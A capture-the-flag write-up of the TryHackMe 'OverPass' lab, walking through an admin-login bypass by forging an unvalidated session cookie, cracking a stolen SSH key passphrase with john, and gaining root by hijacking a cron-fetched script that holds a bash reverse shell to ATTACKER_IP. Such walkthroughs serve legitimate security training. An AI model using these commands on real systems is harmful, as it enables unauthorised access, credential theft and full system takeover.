OverPass — THM — Writeup

Lab Link: OverPass

Platform: TryHackMe

Author: ZODiAK

Difficulty: Easy

Day: 13

1- Recon

Fuzzing

Press enter or click to view image in full size

i found a admin page

so i try a default credentials like
admin : admin
admin : password123
root : root
password : password

but nothing run

NMAP

Press enter or click to view image in full size

i found a two ports open, “ ssh , http ”

i can’t found anything to hack this web ? but wait i have a one more , i will show the inspector mode or web code maybe I can see anything important

in admin page i found a login.js file

Press enter or click to view image in full size

There are three function in this file namely postData(), onLoad() and login(). The next thing that we can do is try to understand the flow of data through these functions.

1. The login() function takes up three values which are username, password and loginStatus. The values username and password are combined to a variable creds.
2. This variable ‘creds’ along with the path /api/login are sent to the function postData() and the returned value is stored in a variable response.
3. Then it takes the text from the response variable using response.text() and assigns it to variable statusOrCookies.
4. Now the value stored in ‘statusOrCookies’ is compared with the string ‘Incorrect Credentials’ and if the condition matches then the value ‘Incorrect Credentials’ is assigned to ‘loginStatus’ and passwordBox is made empty.
5. This is the most important part, in the else part it can be seen that the value in 'statusOrCookies' is assigned as the cookie value but the catch here is the value of this cookie is not validated.

so i can create a cookie have a anything in value

command use in console :

Cookies.set("SessionToken", 'myCookieValue')

after type , refresh the page and boom , i got a james ssh key lets exploit it

Press enter or click to view image in full size

2- Exploitation

copy this key to new file name id_rsa , and i use john tool to convert this key to be available for login

ssh2john id_rsa > james_id_rsa.hash

Now let's crack this hash key

john --wordlist=/usr/share/wordlists/rockyou.txt james_id_rsa.hash 

Press enter or click to view image in full size

after got a passphrase, but make sure from id_rsa key permissions is 600 and login

chmod 600 id_rsa

user.txt

3- Privilege Escalation

with user.txt i found another file his name todo.txt

Press enter or click to view image in full size

his say , i write my password somewhere , so his password is here

after some search i found a hidden file in james folder his name overpass

Press enter or click to view image in full size

Press enter or click to view image in full size

that’s file but i can’t crack this hash so i try another way

i use my own tool to got vulnerability or anything i can exploit it and get root on system , you can use linpeas.sh , however , upload script on target machine and run it in /tmp

Press enter or click to view image in full size

after run script i found a weird thing in CRONtab service

Press enter or click to view image in full size

what this script ? and his got from overpass.thm ? mean from localhost okay lets show localhost ,

so if his got this script from localhost and i can read&write /etc/host , i will change this IP to my IP and create a same path i found in script

this script is running always after one minute , so i need to create same path and script to got root

create a same script name and type in

#!/bin/bash

bash -c "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1"

and open listener

Press enter or click to view image in full size

root.txt

Thanks For Reading ❤️